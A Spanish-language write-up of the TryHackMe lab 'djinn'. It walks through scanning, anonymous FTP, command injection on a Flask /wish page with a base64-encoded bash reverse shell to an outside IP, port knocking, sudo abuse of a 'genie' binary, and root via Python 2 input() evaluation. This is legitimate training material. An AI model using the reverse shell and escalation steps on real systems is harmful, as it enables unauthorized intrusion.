djinn es una maquina de TryHackMe, ejecutamos una shell inversa en una ruta de la aplicacion web, en el codigo fuente encontramos la ruta de un archivo con credenciales que nos permitio acutalizar nuestra shell al siguiente usuario que además obtuvimos acceso por SSH realizando Port Knocking. Para el movimiento lateral ejecutamos genie con parametros para una shell. Escalamos privilegios analizando el codigo fuente de un script en Python el cual no tenia validaciones en las variables lo que nos permitía ejecutar /bin/sh.
Room
Titulo |
djinn |
Descripción |
Intermediate level vulnerable box. |
Puntos |
* |
Dificultad |
Media |
Maker |
falconfeast |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto smb (445), ldap (139) y el puerto ssh (22) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
# Nmap 7.80 scan initiated Sat Aug 1 11:03:49 2020 as: nmap -sV -o nmap_scan_mini djinn.thm
Nmap scan report for djinn.thm (10.10.181.33)
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp filtered ssh
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 1 11:03:57 2020 -- 1 IP address (1 host up) scanned in 7.89 seconds
# Nmap 7.80 scan initiated Sat Aug 1 11:03:02 2020 as: nmap -sV -p- -T5 -o nmap_scan djinn.thm
Warning: 10.10.181.33 giving up on port because retransmission cap hit (2).
Nmap scan report for djinn.thm (10.10.181.33)
Host is up (0.25s latency).
Not shown: 65115 closed ports, 417 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
1337/tcp open waste?
7331/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.80%I=7%D=8/1%Time=5F2594CD%P=x86_64-pc-linux-gnu%r(NUL
SF:L,1BC,"\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x
SF:20_\x20_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20_
SF:_\x20___\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x
SF:20`\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x2
SF:0`\x20_\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x
SF:20\|\x20\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|
SF:\x20\|\x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x
SF:20\|_\|\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n
SF:\nLet's\x20see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths\
SF:nAnswer\x20my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20y
SF:ou\x20your\x20gift\.\n\(7,\x20'\*',\x209\)\n>\x20")%r(RPCCheck,1BC,"\x2
SF:0\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x20_\x20_\x
SF:20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20__\x20___\x
SF:20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x20`\x20_\x
SF:20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x2
SF:0\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x20\|\x20\|
SF:\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20
SF:\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x20\|_\|\\_
SF:__\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nLet's\x2
SF:0see\x20how\x20good\x20you\x20are\x20with\x20simple\x20maths\nAnswer\x2
SF:0my\x20questions\x201000\x20times\x20and\x20I'll\x20give\x20you\x20your
SF:\x20gift\.\n\(8,\x20'\+',\x206\)\n>\x20");
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug 1 11:15:40 2020 -- 1 IP address (1 host up) scanned in 758.06 seconds
|
FTP
En el puerto 21 FTP logramos ingresar como anonymous en donde encontramos tres archivos, uno que contiene lo que parece ser credenciales, el segundo un mensaje para @nitish81299 (nada interesante en Github y Twitter) y un posible nombre de usuario.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
root@upset:~/thm/djinn# ftp djinn.thm
Connected to djinn.thm.
220 (vsFTPd 3.0.3)
Name (djinn.thm:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 115 4096 Oct 21 2019 .
drwxr-xr-x 2 0 115 4096 Oct 21 2019 ..
-rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt
-rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt
-rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt
226 Directory send OK.
ftp> get creds.txt
local: creds.txt remote: creds.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for creds.txt (11 bytes).
226 Transfer complete.
11 bytes received in 0.00 secs (54.5289 kB/s)
ftp> get game.txt
local: game.txt remote: game.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for game.txt (128 bytes).
226 Transfer complete.
128 bytes received in 0.00 secs (968.9923 kB/s)
ftp> get message.txt
local: message.txt remote: message.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for message.txt (113 bytes).
226 Transfer complete.
113 bytes received in 0.00 secs (144.6285 kB/s)
ftp> exit
221 Goodbye.
root@upset:~/thm/djinn# ls
creds.txt game.txt message.txt nmap_scan_mini
root@upset:~/thm/djinn# cat creds.txt
nitu:[... REDACTED ...]
root@upset:~/thm/djinn# cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work.
And don't mess up anything.
root@upset:~/thm/djinn# cat game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the
final level and get the prize.
root@upset:~/thm/djinn#
|
HTTP
Encontramos una pagina web en el puerto 7331.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
|
root@upset:~/thm/djinn# gobuster dir -u http://djinn.thm:7331/ -w /usr/share/wordlists/dirbuster/directory-list-medium.txt -q -t 25 -x php,html,txt
/wish
/genie
|
WWW-DATA - USER
Encontramos una pagina /wish
donde al ingresar un comando, este se ejecuta pero el resultado lo muestra en una url redireccionada.
Ejecutamos una shell codificada:
1
2
3
4
|
#Shell
echo -n 'bash -i >& /dev/tcp/10.10.10.10/1338 0>&1"' |base64
#Ejecutamos
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC8xMzM4IDA+JjEi|base64 -d|bash
|
Obtenemos una shell con el usuario www-data
.
NITISH - USER
En el archivo app.py
el cual ejecuta la pagina anterior encontramos una direccion a un archivo, este archivo contiene lo que parecen credenciales del usuario nitish.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
import subprocess
from flask import Flask, redirect, render_template, request, url_for
app = Flask(__name__)
app.secret_key = "key"
+ CREDS = "/home/nitish/.dev/creds.txt"
RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]
def validate(cmd):
if CREDS in cmd and "cat" not in cmd:
return True
try:
for i in RCE:
for j in cmd:
if i == j:
return False
return True
except Exception:
return False
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route("/wish", methods=['POST', "GET"])
def wish():
execute = request.form.get("cmd")
if execute:
if validate(execute):
output = subprocess.Popen(execute, shell=True,
stdout=subprocess.PIPE).stdout.read()
else:
output = "Wrong choice of words"
return redirect(url_for("genie", name=output))
else:
return render_template('wish.html')
@app.route('/genie', methods=['GET', 'POST'])
def genie():
if 'name' in request.args:
page = request.args.get('name')
else:
page = "It's not that hard"
return render_template('genie.html', file=page)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True)
|
Utilizamos la contraseña con el usuario y logramos obtener una shell con el usuario nitish
y nuestra flag user.txt
.
USER - SAM & KNOCKING PORT
Hacemos una pequeña enumeracion con sudo -l -l
y vemos que tenemos permisos root (sudo) para ejecutar el comando genie
esto con el usuario sam sin contraseña.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
nitish@djinn:~$ sudo -l -l
sudo -l -l
Matching Defaults entries for nitish on djinn:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nitish may run the following commands on djinn:
Sudoers entry:
RunAsUsers: sam
Options: !authenticate
Commands:
/usr/bin/genie
nitish@djinn:~$
|
Otro de los hallazgos que hicimos es un archivo de configuracion de knock
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
nitish@djinn:/etc$ cat knockd.conf
cat knockd.conf
[options]
UseSyslog
[openSSH]
sequence = 1356, 6784, 3409
seq_timeout = 5
command = /sbin/iptables -I INPUT 1 -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 3409, 6784, 1356
seq_timeout = 5
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
|
Utilizamos la secuencia para obtener una shell en SSH.
Ahora si, seguimos investigando sobre /usr/bin/genie
, le pasamos los parametros que pide este ejecutable, esperando a que ejecute nuestro comando, pero al parecer no se agrega en ningun tipo de cron o proceso
1
2
3
4
|
nitish@djinn:/etc$ /usr/bin/genie -p bash -g -e "ping -c 5 10.2.29.162" wish
/usr/bin/genie -p bash -g -e "ping -c 5 10.2.29.162" wish
We've added your wish to our records.
Continue praying!!
|
En la documentacion de este ejecutable encontramos un parametro que no aparece en el ejecutable al mostrar la ayuda (-h
), agregamos este parametro junto al usuario sam
. Logramos obtener una shell con este ultimo usuario.
1
2
3
4
|
nitish@djinn:~$ sudo -u sam /usr/bin/genie -cmd gg
my man!!
$ whoami
sam
|
PRIVILEGE ESCALATION
Hicimos una pequeña enumeracion con sudo -l -l
y vemos que tenemos permisos root (sudo) para ejecutar el comando lago
.
1
2
3
4
5
6
7
8
9
10
11
12
|
$ sudo -l -l
Matching Defaults entries for sam on djinn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sam may run the following commands on djinn:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/root/lago
$
|
Ejecutamos este comando y nos muestra diferentes opciones pero ninguna de estas nos deja escalar privilegios. En la carpeta de este usuario encontramos un archivo .pyc
el cual al leer las strings encontramos las mismas que el comando lago
muestra.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$ strings .pyc
getuser(
system(
randintc
Working on it!! (
/home/mzfr/scripts/exp.pyt
naughtyboi
Choose a number between 1 to 100: s
Enter your number: s
/bin/shs
Better Luck next time(
inputR
numt
/home/mzfr/scripts/exp.pyt
[... REDACTED ...]
|
Copiamos este archivo a nuestra maquina y utilizamos uncompyle6. Vemos en el codigo fuente, especificamente en la fucnion guessit()
vemos que hace una comparacion de la variable s
con num
, en el input no realiza ninguna validacion de si lo ingresado es un entero o string, en esta funcion al adivinar el numero devuelve una shell con usuario root. Para poder aprovecharnos de este script vamos a ingresar el nombre de la variable num
ya que la variable s
no tiene ningun tipo de validacion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
# uncompyle6 version 3.7.3
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.2 (default, Apr 1 2020, 15:52:55)
# [GCC 9.3.0]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 07:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!!'
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
[... REDACTED ...]
if __name__ == '__main__':
main(options())
# okay decompiling file_pyc.pyc
|
Logramos obtener nuestra shell con usuario root y flag user.txt
.